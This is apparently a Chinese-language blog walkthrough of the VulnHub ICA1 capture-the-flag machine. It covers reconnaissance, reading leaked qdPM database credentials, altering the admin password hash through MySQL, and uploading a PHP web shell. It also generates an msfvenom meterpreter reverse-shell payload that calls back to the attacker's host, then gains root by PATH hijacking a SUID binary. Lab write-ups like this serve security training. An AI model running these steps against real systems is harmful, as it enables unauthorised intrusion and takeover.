『vulnhub系列』ICA1
『vulnhub系列』ICA1
下载地址
1 | https://download.vulnhub.com/ica/ica1.zip |
信息搜集
如果靶机获取不了IP地址请看这里:『vulnhub系列』JANGOW | Don_Joshua’s Blog (jo4hua.github.io)
使用命令nmap 192.168.0.130
找到存活主机
开启了ssh,http,mysql服务,先访问80端口,进入如下登录界面
使用dirsearch扫描目录
1 | dirsearch -u "http://192.168.0.136/" |
发现数据库配置界面
使用searchsploit qdPM 9.2
发现如下漏洞
一个是csrf现在我们还没到那一步,第二个是密码泄露,我们使用
searchsploit -m 50176.txt
将50176移到当前目录下,使用cat 50176.txt
查看
漏洞利用
发现访问http://<website>/core/config/databases.yml
网站的这个链接,即可以看到数据库的用户名和密码 ,成功(qdpmadmin:UcVQCMQk2STVeS6J
)
尝试登录一下
成功,记住这个邮箱,并设置密码(admin@localhost.com:admin
)
成功
回到主页面,使用刚刚的邮箱登录
发现登录失败,但是通过修改密码我们可以发现,邮箱是对的。
我们使用mysql登录,成功
1 | mysql -h 192.168.0.136 -u qdpmadmin -p |
通过上面的配置文件,我们可以知道数据库的名字是qdpm
,use qdpm
,show tables
查看这个数据库里的表,我们发现users
表
show columns from users
查看字段名
果然是password,现在我们查询一下
1 | select password from users where email="admin@localhost.com" |
结果高兴的有些早了,我们发现查询数据为空…….,应该直接看有没有数据的
直接一个一个查看每一个表,最后在configuration
中找到我们需要的东西
但是$P$E0dY11qb93cBPO/VuVULOQPHeuLb6m/
是一段hash值,很像是crypt中的,但判断不出来。
在安装工具hash-identifier
之后,我们使用hash-identifier
进行判断
1 | git clone https://github.com/blackploit/hash-identifier.git |
输入对应的hash值之后,我们可以得到类型可能是md5
我们使用本机生成一个md5的hash然后覆盖掉原来的hash,这里使用python生成一个密码为admin
的hash值
1 | import crypt |
修改app_administrator_password(id=2)的value,成功
1 | update configuration set value='$1$aFzipe0r$qYbks7esarcBVgfO0.oay1' where id=2; |
登录试试,成功
此时,我们添加用户
发现可以上传文件
上传看一下,报错
但是我们一开始是有一个/uploads
文件夹,发现文件已经上传成功了
此时我们上传一个php一句话木马试试
发现并没有这个文件
我们用burp试试,提交的时候抓包,将Content-Type:后面的类型改为image/jpeg
顺手在文件内容前面加上GIF89A
(保险)
提交,失败
我们切换到新建的用户中,发现有一个上传文件的地方
上传一个php文件试试
此时在/uploads/attachments/
页面发现php文件了
之后用同样的方式,上传msf生成的php
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.130 lport=4444 -o re_shell.php |
上传之后使用msfconsole
进入msf,使用相同的payload监听
1 | exploit/multi/handler |
监听,run
访问刚刚上传的webshell文件,成功
提升权限
使用命令
1 | find / -perm -u=s -type f 2>/dev/null |
查看可以具有SUID权限的文件,我们发现有一个/opt/get_access
很可疑
运行一下
使用命令strings 命令查看一下,文件中的可打印字符
1 | strings /opt/get_access |
然后我们在其中可以发现,这个程序运行的时候,可以以root权限执行cat
命令,因此这里的思路是
- 将环境变量中的cat修改为我们的自己建立的
cat
这样当运行这个文件的时候,就可以运行我们的cat
了
创建新的cat
1 | echo "/bin/bash" > /tmp/cat |
将/bin/bash
写入/tmp/cat
文件中,这样以root
权限运行时,就会将root
的/bin/bash
反弹回来
并赋予其可执行权限
1 | chmod +x /tmp/cat |
增加环境变量
1 | export PATH=/tmp:$PATH |
可以将/tmp/cat的路径加入到PATH,从而可以在任何地方直接使用hello命令。并且对所有用户生效
运行get_access
1 | /opt/get_access |
见证奇迹的时刻,whoami
成果
/root
1 | ICA{Next_Generation_Self_Renewable_Genetics} |
/home/travis
1 | ICA{Secret_Project} |